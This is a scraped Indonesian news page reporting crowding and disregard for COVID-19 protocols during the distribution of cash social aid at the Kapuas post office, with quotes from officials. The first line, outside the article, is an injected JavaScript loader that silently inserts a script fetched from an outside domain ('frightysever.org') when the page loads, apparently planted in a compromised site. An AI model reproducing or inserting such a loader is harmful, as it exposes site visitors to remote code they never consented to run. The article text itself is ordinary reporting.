(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Pencairan BST Bergerombol, Kantor Pos Abaikan Protokol Covid-19


KANALKALIMANTAN. COM, KUALA KAPUAS – Pencairan Bantuan Sosial Tunai (BST) di Kantor Pos Kapuas menuai banyak kritikan dari barbagai pihak. Pasalnya dalam pembagian BT, pihak Kantor Pos diduga mengabaikan protokol Covid-19.

Akibatnya, terjadi kerumunan massa dan tidak memenuhi ketentuan keamanan medis. Alhasil, kegiatan pencairan BST tersebut dipenuhi kerumunan warga penerima.

Kepala Kantor Pos Kapuas Boinie berkilah bahwa semula pembagian BST sudah diatur agar tetap memperhatikan protokol Covid-19. Karena itu telah disiapkan cuci tangan di bagian depan dan disiapkan tempat duduk yang jaraknya sudah diatur.

Kondisi jadi berubah tidak teratur ketika banyaknya warga yang tidak masuk dalam daftar penerima BST ikut datang, hanya sekadar untuk menemani keluarga nama-nama penerima. “Jadi yang tidak dapat juga ikut datang itu yang membuat tidak teratur,” kilahnya.

Dijelaskannya, daftar penerima BST semuanya 81.000 KK, namun dari jumlah itu yang dibagikan pada hari pertama hanya untuk 4 kelurahan di Kabupaten Kapuas.

Sementara itu, ujar Boeni, terjadinya penumpukan dan kerumunan masa, tidak menyangka, bahkan kemarin sudah kita koordinasikan dengan kepala desa di wilayah penerima BST, masyarakat hendaknya tidak bergerombol, tetap jaga jarak. Apalagi yang terdata bakal menerima karena penerima sudah by name by adress.

Kepala Bidang Linmas Nazmianoor MT menegaskan kepada pihak kantor pos Kapuas, meminta agar tidak ada penumpukan kerumunan warga penerima juga keluarga pengantar, dengan terjadinya seperti ini, maka bisa terjadi masalah penambahan dalam kasus Covid-19.

“Kemarin kan terjadi penambahan bahkan ada yang meninggal, kita tidak mau ada penambahan Karena apa yang telah dilakukan pihak Kantor Pos sama sekali tidak mengindahkan imbauan pemerintah pusat maupun daerah. Padahal Pemkab Kapuas telah berupaya dengan susah payah untuk menghindari terjadinya kerumunan massa,” tegas Nazmi.(kanalkalumantan.com/ags)

 

Reporter : Ags
Editor : Bie

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.